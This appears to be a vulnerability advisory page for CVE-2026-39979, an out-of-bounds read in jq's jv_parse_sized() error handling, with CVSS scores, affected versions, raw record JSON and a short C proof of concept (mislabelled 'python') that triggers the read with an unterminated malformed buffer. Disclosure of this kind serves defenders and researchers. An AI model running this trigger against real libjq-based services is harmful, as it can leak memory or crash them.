Security Vulnerability Report
中文
CVE-2026-39979 CVSS 6.5 MEDIUM

CVE-2026-39979

Published: 2026-04-13 23:16:28
Last Modified: 2026-04-23 16:50:40

Description

jq is a command-line JSON processor. In commits before 2f09060afab23fe9390cce7cb860b10416e1bf5f, the jv_parse_sized() API in libjq accepts a counted buffer with an explicit length parameter, but its error-handling path formats the input buffer using %s in jv_string_fmt(), which reads until a NUL terminator is found rather than respecting the caller-supplied length. This means that when malformed JSON is passed in a non-NUL-terminated buffer, the error construction logic performs an out-of-bounds read past the end of the buffer. The vulnerability is reachable by any libjq consumer calling jv_parse_sized() with untrusted input, and depending on memory layout, can result in memory disclosure or process termination. The issue has been patched in commit 2f09060afab23fe9390cce7cb860b10416e1bf5f.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:* - VULNERABLE
jq < commit 2f09060afab23fe9390cce7cb860b10416e1bf5f

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-39979 * This code demonstrates the Out-of-Bounds read vulnerability in libjq. * It attempts to parse malformed JSON without a NULL terminator via jv_parse_sized. * Compile with: gcc -o poc_cve2026_39979 poc_cve2026_39979.c -ljq */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <jq.h> int main() { // Initialize libjq state (required for newer versions) jq_state *jq = jq_init(); if (!jq) { fprintf(stderr, "Failed to initialize jq state\n"); return 1; } // 1. Create malformed JSON that is NOT null-terminated. // This represents an attacker-controlled buffer. // The buffer contains '{"key": "value"' (missing closing brace). char malformed_data[] = {'{', '"', 'k', 'e', 'y', '"', ':', '"', 'v', 'a', 'l', 'u', 'e', '"'}; size_t data_len = sizeof(malformed_data); printf("[+] Sending malformed JSON (length %zu) without NULL terminator...\n", data_len); // 2. Call the vulnerable API jv_parse_sized. // This tells libjq to only read 'data_len' bytes. // However, if parsing fails, the error path uses %s which ignores the length. jv parsed = jv_parse_sized(malformed_data, data_len); // 3. Check if parsing failed (expected due to malformed JSON). if (!jv_is_valid(parsed)) { printf("[!] Parsing failed as expected.\n"); // 4. Retrieve the error message. // Inside jv_invalid_get_msg(), the vulnerable code path is triggered: // It tries to print 'malformed_data' using %s, reading past the buffer. jv err_msg = jv_invalid_get_msg(parsed); if (jv_is_valid(err_msg)) { printf("[+] Error message retrieved (OOB read occurred internally):\n"); printf(" %s\n", jv_string_value(err_msg)); jv_free(err_msg); } else { jv_free(err_msg); } } else { printf("[-] Parsing succeeded unexpectedly.\n"); jv_free(parsed); } // Cleanup jq_teardown(&jq); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39979", "sourceIdentifier": "[email protected]", "published": "2026-04-13T23:16:27.823", "lastModified": "2026-04-23T16:50:39.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In commits before 2f09060afab23fe9390cce7cb860b10416e1bf5f, the jv_parse_sized() API in libjq accepts a counted buffer with an explicit length parameter, but its error-handling path formats the input buffer using %s in jv_string_fmt(), which reads until a NUL terminator is found rather than respecting the caller-supplied length. This means that when malformed JSON is passed in a non-NUL-terminated buffer, the error construction logic performs an out-of-bounds read past the end of the buffer. The vulnerability is reachable by any libjq consumer calling jv_parse_sized() with untrusted input, and depending on memory layout, can result in memory disclosure or process termination. The issue has been patched in commit 2f09060afab23fe9390cce7cb860b10416e1bf5f."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-04-12", "matchCriteriaId": "3004A3C4-AF30-42C3-B872-F9EA2CA5FDAB"}]}]}], "references": [{"url": "https://github.com/jqlang/jq/commit/2f09060afab23fe9390cce7cb860b10416e1bf5f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-2hhh-px8h-355p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-2hhh-px8h-355p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}